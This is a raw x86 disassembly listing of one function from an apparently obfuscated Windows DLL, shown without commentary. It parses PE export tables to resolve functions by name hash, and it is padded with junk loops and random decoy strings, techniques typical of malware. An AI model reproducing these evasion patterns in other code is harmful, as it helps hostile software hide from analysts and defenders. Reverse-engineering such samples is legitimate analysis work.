and dword [ebp - 0x1c8], 0
jmp 0x1003bd13
mov eax, dword [ebp - 0x1c8]
inc eax
mov dword [ebp - 0x1c8], eax
cmp dword [ebp - 0x1c8], 0x5066
jge 0x1003bd9d
and dword [ebp - 0x1d0], 0
jmp 0x1003bd35
mov eax, dword [ebp - 0x1d0]
inc eax
mov dword [ebp - 0x1d0], eax
cmp dword [ebp - 0x1d0], 0x5201
jge 0x1003bd98
mov eax, dword [ebp - 0x1c8]
or eax, dword [ebp - 0x1d0]
cdq
mov dword [ebp - 0x618], eax
mov dword [ebp - 0x614], edx
push dword [ebp - 0x614]
push dword [ebp - 0x618]
lea ecx, [ebp - 0x8d8]
call fcn.10001a94
pop ecx
pop ecx
mov dword [ebp - 0x684], eax
mov ecx, dword [ebp - 0x684]
call fcn.100037ed
push eax
call fcn.10048785
pop ecx
lea ecx, [ebp - 0x8d8]
call fcn.100037e3
jmp 0x1003bd28
jmp 0x1003bd06
mov eax, dword [ebp - 0x444]
inc eax
mov dword [ebp - 0x444], eax
mov dword [ebp - 4], 0x2e
cmp dword [ebp - 0x44c], 0x6a87
jge 0x1003bdc9
push dword [ebp - 0x604]
call fcn.10048785
pop ecx
jmp 0x1003bde5
or dword [ebp - 4], 0xffffffff
jmp 0x1003bdef
jmp 0x1003bca9
jmp 0x1003bc52
jmp 0x1003bc1e
jmp 0x1003bbee
jmp 0x1003be63
mov dword [ebp - 0x68c], 0xa7b445ac
mov dword [ebp - 0x1d8], 0
jmp 0x1003be28
mov eax, dword [ebp - 0x1d8]
inc eax
mov dword [ebp - 0x1d8], eax
cmp dword [ebp - 0x1d8], 1
jge 0x1003be44
mov eax, dword [ebp - 0x1d8]
mov dword [ebp + eax*4 - 0x6d4], 6
jmp 0x1003be1b
push 4
pop eax
imul eax, eax, 0
mov eax, dword [ebp + eax - 0x6d4]
mov dword [ebp - 0x610], eax
mov eax, dword [ebp - 0x88]
mov dword [ebp - 0x68c], eax
mov eax, dword [ebp + 8]
mov dword [ebp - 0x1e0], eax
cmp dword [ebp - 0x1e0], 0
je 0x1003c984
mov eax, dword [ebp - 0x1e0]
movzx eax, word [eax]
cmp eax, 0x5a4d
jne 0x1003c984
mov eax, dword [ebp - 0x1e0]
mov ecx, dword [ebp - 0x1e0]
add ecx, dword [eax + 0x3c]
mov dword [ebp - 0xe0], ecx
mov eax, dword [ebp - 0xe0]
cmp dword [eax], 0x4550
jne 0x1003c984
mov eax, dword [ebp - 0xe0]
cmp dword [eax + 0x74], 0
jbe 0x1003c984
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe0]
cmp dword [ecx + eax + 0x78], 0
je 0x1003c984
mov eax, dword [ebp + 8]
mov dword [ebp - 0xb0], eax
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe0]
mov edx, dword [ebp - 0xb0]
add edx, dword [ecx + eax + 0x78]
mov dword [ebp - 0x60], edx
mov eax, 0xffff
mov word [ebp - 0x44], ax
or dword [ebp - 0xac], 0xffffffff
cmp dword [ebp + 0x10], 0
jbe 0x1003bf2b
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp + 0x10]
cmp ecx, dword [eax + 0x14]
ja 0x1003bf26
mov eax, dword [ebp + 0x10]
dec eax
mov word [ebp - 0x44], ax
jmp 0x1003c0ee
mov eax, dword [0x1007e5f4]
and eax, 1
jne 0x1003bf62
mov eax, dword [0x1007e5f4]
or eax, 1
mov dword [0x1007e5f4], eax
mov dword [ebp - 4], 0x30
mov ecx, 0x1007e5d4
call fcn.1001483e
push 0x10062680
call fcn.1004875b
pop ecx
or dword [ebp - 4], 0xffffffff
movzx eax, byte [0x1007d091]
test eax, eax
je 0x1003bfce
mov ecx, 0x1007e5d4
call fcn.1003fd15
movzx eax, al
test eax, eax
jne 0x1003bfce
lea eax, [ebp - 0x1e8]
push eax
lea eax, [ebp - 0x454]
push eax
mov ecx, 0x1007e5d4
call fcn.10014829
lea eax, [ebp - 0x7c8]
push eax
mov ecx, 0x1007e5d4
call fcn.1001481b
push eax
lea ecx, [ebp - 0x454]
call fcn.100148f5
movzx eax, al
test eax, eax
je 0x1003bfce
lea ecx, [ebp - 0x454]
call fcn.1003fd1e
mov eax, dword [eax + 4]
mov dword [ebp - 0xac], eax
cmp dword [ebp - 0xac], 0xffffffff
jne 0x1003c0ee
mov ecx, 0x1007e5d4
call fcn.1003fe34
mov ecx, dword [ebp - 0x60]
add eax, dword [ecx + 0x18]
push eax
mov ecx, 0x1007e5d4
call fcn.1003fe38
and dword [ebp - 0xbc], 0
jmp 0x1003c00c
mov eax, dword [ebp - 0xbc]
inc eax
mov dword [ebp - 0xbc], eax
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0xbc]
cmp ecx, dword [eax + 0x18]
jae 0x1003c0ee
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0xb0]
add ecx, dword [eax + 0x20]
mov eax, dword [ebp - 0xbc]
lea eax, [ecx + eax*4]
mov dword [ebp - 0x45c], eax
cmp dword [ebp - 0x45c], 0
je 0x1003c0e9
mov eax, dword [ebp - 0x45c]
mov ecx, dword [ebp - 0xb0]
add ecx, dword [eax]
push ecx
lea ecx, [ebp - 0x83c]
call fcn.1003fc89
mov dword [ebp - 4], 0x31
mov edx, dword [ebp + 8]
lea ecx, [ebp - 0x83c]
call fcn.1002c38c
mov dword [ebp - 0x464], eax
movzx eax, byte [0x1007d091]
test eax, eax
je 0x1003c097
mov ecx, 0x1007e5d4
call fcn.1003fd15
movzx eax, al
test eax, eax
jne 0x1003c0b7
lea eax, [ebp - 0x464]
push eax
mov ecx, 0x1007e5d4
call fcn.1003fdf6
mov ecx, dword [ebp - 0xbc]
mov dword [eax], ecx
mov byte [0x1007d091], 1
cmp dword [ebp - 0xac], 0xffffffff
jne 0x1003c0da
mov eax, dword [ebp - 0x464]
cmp eax, dword [ebp - 0x1e8]
jne 0x1003c0da
mov eax, dword [ebp - 0xbc]
mov dword [ebp - 0xac], eax
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x83c]
call fcn.100146d1
jmp 0x1003bfff
mov dword [ebp - 0x46c], 0x4111
mov dword [ebp - 0x61c], str.gcpqidkmb_vyfgijdc_gvrrzmddc_cst_kfi_qaogj_niglrtwe_ndvndl_kjcmzk_xctpsd_qstlqo
cmp dword [ebp - 0x46c], 0x423b
jle 0x1003c1ef
and dword [ebp - 0x200], 0
jmp 0x1003c128
mov eax, dword [ebp - 0x200]
inc eax
mov dword [ebp - 0x200], eax
cmp dword [ebp - 0x200], 0x22c7
jge 0x1003c1ef
and dword [ebp - 0x208], 0
jmp 0x1003c14e
mov eax, dword [ebp - 0x208]
inc eax
mov dword [ebp - 0x208], eax
cmp dword [ebp - 0x208], 0x3f2f
jge 0x1003c1ea
and dword [ebp - 0x1f0], 0
jmp 0x1003c174
mov eax, dword [ebp - 0x1f0]
inc eax
mov dword [ebp - 0x1f0], eax
cmp dword [ebp - 0x1f0], 0x2933
jge 0x1003c1e5
and dword [ebp - 0x1f8], 0
jmp 0x1003c196
mov eax, dword [ebp - 0x1f8]
inc eax
mov dword [ebp - 0x1f8], eax
cmp dword [ebp - 0x1f8], 0x37a0
jge 0x1003c1e3
mov eax, dword [ebp - 0x1f0]
mov ecx, dword [ebp - 0x1f8]
sar eax, cl
mov ecx, dword [ebp - 0x200]
sub ecx, dword [ebp - 0x208]
and eax, ecx
cdq
mov dword [ebp - 0x624], eax
mov dword [ebp - 0x620], edx
push dword [ebp - 0x620]
push dword [ebp - 0x624]
mov ecx, 0x1007bad8
call fcn.1000380d
jmp 0x1003c189
jmp 0x1003c167
jmp 0x1003c141
jmp 0x1003c11b
cmp dword [ebp + 0x10], 0
jne 0x1003c218
cmp dword [ebp - 0xac], 0xffffffff
je 0x1003c218
mov eax, dword [ebp - 0x60]
mov ecx, dword [ebp - 0xb0]
add ecx, dword [eax + 0x24]
mov eax, dword [ebp - 0xac]
mov ax, word [ecx + eax*2]
mov word [ebp - 0x44], ax
mov dword [ebp - 4], 0x32
cmp dword [ebp - 0x46c], 0x3fee
jge 0x1003c23b
mov edx, dword [ebp - 0x61c]
mov ecx, 0x1007bad8
call fcn.10005a21
jmp 0x1003c257
or dword [ebp - 4], 0xffffffff
jmp 0x1003c261
movzx eax, word [ebp - 0x44]
cmp eax, 0xffff
je 0x1003c984
movzx eax, word [ebp - 0x44]
mov ecx, dword [ebp - 0x60]
mov edx, dword [ebp - 0xb0]
add edx, dword [ecx + 0x1c]
lea eax, [edx + eax*4]
mov dword [ebp - 0x6e4], eax
mov eax, dword [ebp - 0x6e4]
mov ecx, dword [ebp - 0xb0]
add ecx, dword [eax]
mov dword [ebp - 0x64], ecx
mov eax, dword [ebp - 0x64]
cmp eax, dword [ebp - 0x60]
jbe 0x1003c97c
push 8
pop eax
imul eax, eax, 0
mov ecx, dword [ebp - 0xe0]
mov edx, dword [ebp - 0x60]
add edx, dword [ecx + eax + 0x7c]
cmp dword [ebp - 0x64], edx
jae 0x1003c97c
mov eax, dword [0x1007e5f4]
and eax, 2
jne 0x1003c2f4
mov eax, dword [0x1007e5f4]
or eax, 2
mov dword [0x1007e5f4], eax
mov dword [ebp - 4], 0x34
push 0x3cee
call fcn.10007e34
pop ecx
mov byte [0x1007e5cc], al
or dword [ebp - 4], 0xffffffff
mov byte [ebp - 0xa4], 0
mov byte [ebp - 0xa3], 0x8b
mov byte [ebp - 0xa2], 4
mov byte [ebp - 0xa1], 0x34
mov byte [ebp - 0xa0], 0xd2
mov byte [ebp - 0x9f], 0x89
mov byte [ebp - 0x9e], 0xf6
mov byte [ebp - 0x9d], 1
mov byte [ebp - 0x9c], 8
mov byte [ebp - 0x9b], 2
mov byte [ebp - 0x9a], 0
mov dword [ebp - 0x474], 0x17cc
mov dword [ebp - 0x694], str.kkoffomr_mlai_exrv_zmlt_cwyr_vjwuvrghu_batnuti
cmp dword [ebp - 0x474], 0x1a96
jle 0x1003c43d
and dword [ebp - 0x210], 0
jmp 0x1003c37b
mov eax, dword [ebp - 0x210]
inc eax
mov dword [ebp - 0x210], eax
cmp dword [ebp - 0x210], 0xd56
jge 0x1003c43d
and dword [ebp - 0x218], 0
jmp 0x1003c3a1
mov eax, dword [ebp - 0x218]
inc eax
mov dword [ebp - 0x218], eax
cmp dword [ebp - 0x218], 0x5de8
jge 0x1003c438
and dword [ebp - 0x220], 0
jmp 0x1003c3c7
mov eax, dword [ebp - 0x220]
inc eax
mov dword [ebp - 0x220], eax
cmp dword [ebp - 0x220], 0x27f1
jge 0x1003c433
mov eax, dword [ebp - 0x210]
cdq
idiv dword [ebp - 0x218]
add edx, dword [ebp - 0x220]
mov eax, edx
cdq
mov dword [ebp - 0x630], eax
mov dword [ebp - 0x62c], edx
push dword [ebp - 0x62c]
push dword [ebp - 0x630]
lea ecx, [ebp - 0x908]
call fcn.10001a94
pop ecx
pop ecx
mov dword [ebp - 0x628], eax
mov ecx, dword [ebp - 0x628]
call fcn.100037ed
push eax
call fcn.10048785
pop ecx
lea ecx, [ebp - 0x908]
call fcn.100037e3
jmp 0x1003c3ba
jmp 0x1003c394
jmp 0x1003c36e
xor eax, eax
inc eax
shl eax, 0
movzx eax, byte [ebp + eax - 0xa4]
and eax, 0xef
xor ecx, ecx
inc ecx
shl ecx, 0
movzx ecx, byte [ebp + ecx - 0xa4]
or ecx, 0xef
sub ecx, eax
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xa4]
mov byte [ebp + eax - 0xb8], cl
mov dword [ebp - 4], 0x35
cmp dword [ebp - 0x474], 0x1731
jge 0x1003c49a
push dword [ebp - 0x694]
call fcn.10048785
pop ecx
jmp 0x1003c4b6
or dword [ebp - 4], 0xffffffff
jmp 0x1003c4c0
mov dword [ebp - 0x24], 2
and dword [ebp - 0x238], 0
jmp 0x1003c4d8
mov eax, dword [ebp - 0x24]
inc eax
inc eax
mov dword [ebp - 0x24], eax
cmp dword [ebp - 0x24], 0xb
jae 0x1003c69b
mov dword [ebp - 0x47c], 0x3671
mov dword [ebp - 0x53c], str.ywlblm_nnuvjt_umugllgh_cuabaejvn_ntwbxiyq_qsx_meuf_rehkn_hva_ceijsw_usdolm_axjloe_odqehmrjn
cmp dword [ebp - 0x47c], 0x3835
jle 0x1003c5a7
and dword [ebp - 0x228], 0
jmp 0x1003c51c
mov eax, dword [ebp - 0x228]
inc eax
mov dword [ebp - 0x228], eax
cmp dword [ebp - 0x228], 0xf6e
jge 0x1003c5a7
and dword [ebp - 0x230], 0
jmp 0x1003c53e
mov eax, dword [ebp - 0x230]
inc eax
mov dword [ebp - 0x230], eax
cmp dword [ebp - 0x230], 0x675e
jge 0x1003c5a2
mov eax, dword [ebp - 0x228]
imul eax, dword [ebp - 0x230]
cdq
mov dword [ebp - 0x63c], eax
mov dword [ebp - 0x638], edx
push dword [ebp - 0x638]
push dword [ebp - 0x63c]
lea ecx, [ebp - 0x938]
call fcn.10001a94
pop ecx
pop ecx
mov dword [ebp - 0x538], eax
mov ecx, dword [ebp - 0x538]
call fcn.100037ed
push eax
call fcn.10048785
pop ecx
lea ecx, [ebp - 0x938]
call fcn.100037e3
jmp 0x1003c531
jmp 0x1003c50f
xor eax, eax
inc eax
imul eax, eax, 0
movzx eax, byte [ebp + eax - 0xa4]
lea eax, [eax + eax + 2]
cmp dword [ebp - 0x24], eax
jne 0x1003c5ea
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0xa4]
inc eax
mov dword [ebp - 0x238], eax
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0xa4]
mov ecx, dword [ebp - 0x24]
lea eax, [ecx + eax - 1]
mov dword [ebp - 0x24], eax
jmp 0x1003c4d0
mov dword [ebp - 4], 0x37
cmp dword [ebp - 0x47c], 0x3662
jge 0x1003c609
push dword [ebp - 0x53c]
call fcn.10048785
pop ecx
jmp 0x1003c625
or dword [ebp - 4], 0xffffffff
jmp 0x1003c62f
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x238]
movzx eax, byte [ebp + eax - 0xa6]
movsx eax, byte [ebp + eax - 0xb8]
mov ecx, dword [ebp - 0x24]
movzx ecx, byte [ebp + ecx - 0xa3]
and ecx, eax
mov eax, dword [ebp - 0x24]
sub eax, dword [ebp - 0x238]
movzx eax, byte [ebp + eax - 0xa6]
movsx eax, byte [ebp + eax - 0xb8]
mov edx, dword [ebp - 0x24]
movzx edx, byte [ebp + edx - 0xa3]
or edx, eax
sub edx, ecx
mov eax, dword [ebp - 0x24]
movzx eax, byte [ebp + eax - 0xa4]
mov byte [ebp + eax - 0xb8], dl
and dword [ebp - 0x238], 0
jmp 0x1003c4d0
xor eax, eax
inc eax
imul eax, eax, 3
mov byte [ebp + eax - 0xb8], 0
mov eax, dword [0x1007e5f4]
and eax, 4
jne 0x1003c6e7
mov eax, dword [0x1007e5f4]
or eax, 4
mov dword [0x1007e5f4], eax
mov dword [ebp - 4], 0x39
lea eax, [ebp - 0xb8]
push eax
mov ecx, 0x1007e54c
call fcn.1003fc89
push 0x10062671
call fcn.1004875b
pop ecx
or dword [ebp - 4], 0xffffffff
and dword [ebp - 0x240], 0
jmp 0x1003c6fd
mov eax, dword [ebp - 0x240]
inc eax
mov dword [ebp - 0x240], eax
cmp dword [ebp - 0x240], 4
jae 0x1003c716
mov eax, dword [ebp - 0x240]
mov byte [ebp + eax - 0xb8], 0
jmp 0x1003c6f0
mov eax, dword [ebp - 0x64]
mov dword [ebp - 0x90], eax
movsx eax, byte [0x1007e5cc]
mov ecx, dword [ebp - 0x90]
movsx ecx, byte [ecx]
cmp ecx, eax
je 0x1003c742
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
jmp 0x1003c71f
mov eax, dword [ebp - 0x90]
inc eax
mov dword [ebp - 0x90], eax
push dword [ebp - 0x90]
push dword [ebp - 0x64]
lea ecx, [ebp - 0x7ec]
call fcn.10041cad
mov dword [ebp - 4], 0x3a
push 0x1007e54c
lea ecx, [ebp - 0x7ec]
call fcn.1003fcb8
lea eax, [ebp - 0x7ac]
push eax
lea ecx, [ebp - 0x7ec]
call fcn.10014d12
push dword [eax]
lea eax, [ebp - 0x774]
push eax
lea ecx, [ebp - 0x7ec]
call fcn.10014cfe
push dword [eax]
lea ecx, [ebp - 0x824]
call fcn.10041cd6
mov byte [ebp - 4], 0x3b
lea eax, [ebp - 0x824]
push eax
call fcn.1002cf0b
pop ecx
mov dword [ebp - 0x2ac], eax
cmp dword [ebp - 0x2ac], 0
je 0x1003c92b
push dword [ebp - 0x90]
lea ecx, [ebp - 0x804]
call fcn.1003fc89
mov byte [ebp - 4], 0x3c
mov dword [ebp - 0x484], 0x6227
mov dword [ebp - 0x54c], str.ygjbymz_vnauqpvgm_wvarzx_snfpbvm
cmp dword [ebp - 0x484], 0x652c
jle 0x1003c87d
and dword [ebp - 0x248], 0
jmp 0x1003c81c
mov eax, dword [ebp - 0x248]
inc eax
mov dword [ebp - 0x248], eax
cmp dword [ebp - 0x248], 0x3a66
jge 0x1003c87d
and dword [ebp - 0x250], 0
jmp 0x1003c83e
mov eax, dword [ebp - 0x250]
inc eax
mov dword [ebp - 0x250], eax
cmp dword [ebp - 0x250], 0x4f29
jge 0x1003c87b
mov eax, dword [ebp - 0x248]
and eax, dword [ebp - 0x250]
cdq
mov dword [ebp - 0x648], eax
mov dword [ebp - 0x644], edx
push dword [ebp - 0x644]
push dword [ebp - 0x648]
mov ecx, 0x1007bad8
call fcn.1000380d
jmp 0x1003c831
jmp 0x1003c80f
lea edx, [ebp - 0x544]
lea ecx, [ebp - 0x804]
call fcn.1002c45c
movzx eax, al
test eax, eax
je 0x1003c8b2
push 0
push dword [ebp - 0x544]
push 0
push dword [ebp - 0x2ac]
call fcn.100381be
add esp, 0x10
mov dword [ebp - 0x64], eax
jmp 0x1003c8ce
push 1
push 0
lea eax, [ebp - 0x804]
push eax
push dword [ebp - 0x2ac]
call fcn.100381be
add esp, 0x10
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 0x3d
cmp dword [ebp - 0x484], 0x6066
jge 0x1003c8ee
mov edx, dword [ebp - 0x54c]
mov ecx, 0x1007bad8
call fcn.10005a21
jmp 0x1003c90a
mov dword [ebp - 4], 0x3c
jmp 0x1003c91a
mov byte [ebp - 4], 0x3b
lea ecx, [ebp - 0x804]
call fcn.100146d1
jmp 0x1003c95e
cmp dword [ebp + 0x10], 0
jne 0x1003c941
mov ecx, dword [ebp + 0xc]
call fcn.100037ed
mov dword [ebp - 0x48c], eax
jmp 0x1003c94b
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x48c], eax
push dword [ebp - 0x48c]
push dword [ebp + 8]
call fcn.10031f2a
pop ecx
pop ecx
mov dword [ebp - 0x64], eax
mov byte [ebp - 4], 0x3a
lea ecx, [ebp - 0x824]
call fcn.1000396f
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x7ec]
call fcn.100146d1
mov eax, dword [ebp - 0x64]
jmp 0x1003ca23
mov dword [ebp - 0x554], 1
push 2
lea ecx, [ebp - 0x738]
call fcn.10003984
mov dword [ebp - 4], 0x3f
mov dword [ebp - 0x258], 0
jmp 0x1003c9bb
mov eax, dword [ebp - 0x258]
inc eax
mov dword [ebp - 0x258], eax
cmp dword [ebp - 0x258], 2
jge 0x1003c9dd
push dword [ebp - 0x258]
lea ecx, [ebp - 0x738]
call fcn.100039fd
mov dword [eax], 0xad59e57a
jmp 0x1003c9ae
mov esi, dword [ebp - 0x554]
push 1
lea ecx, [ebp - 0x738]
call fcn.100039fd
mov dword [eax], esi
mov byte [ebp - 0x89], 0
movzx eax, byte [ebp - 0x89]
test eax, eax
je 0x1003ca12
push 0
push 0
push 0
push 0
call dword [sym.imp.OLEAUT32.dll_VariantTimeToDosDateTime]
or dword [ebp - 4], 0xffffffff
lea ecx, [ebp - 0x738]
call fcn.100039e1
xor eax, eax
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret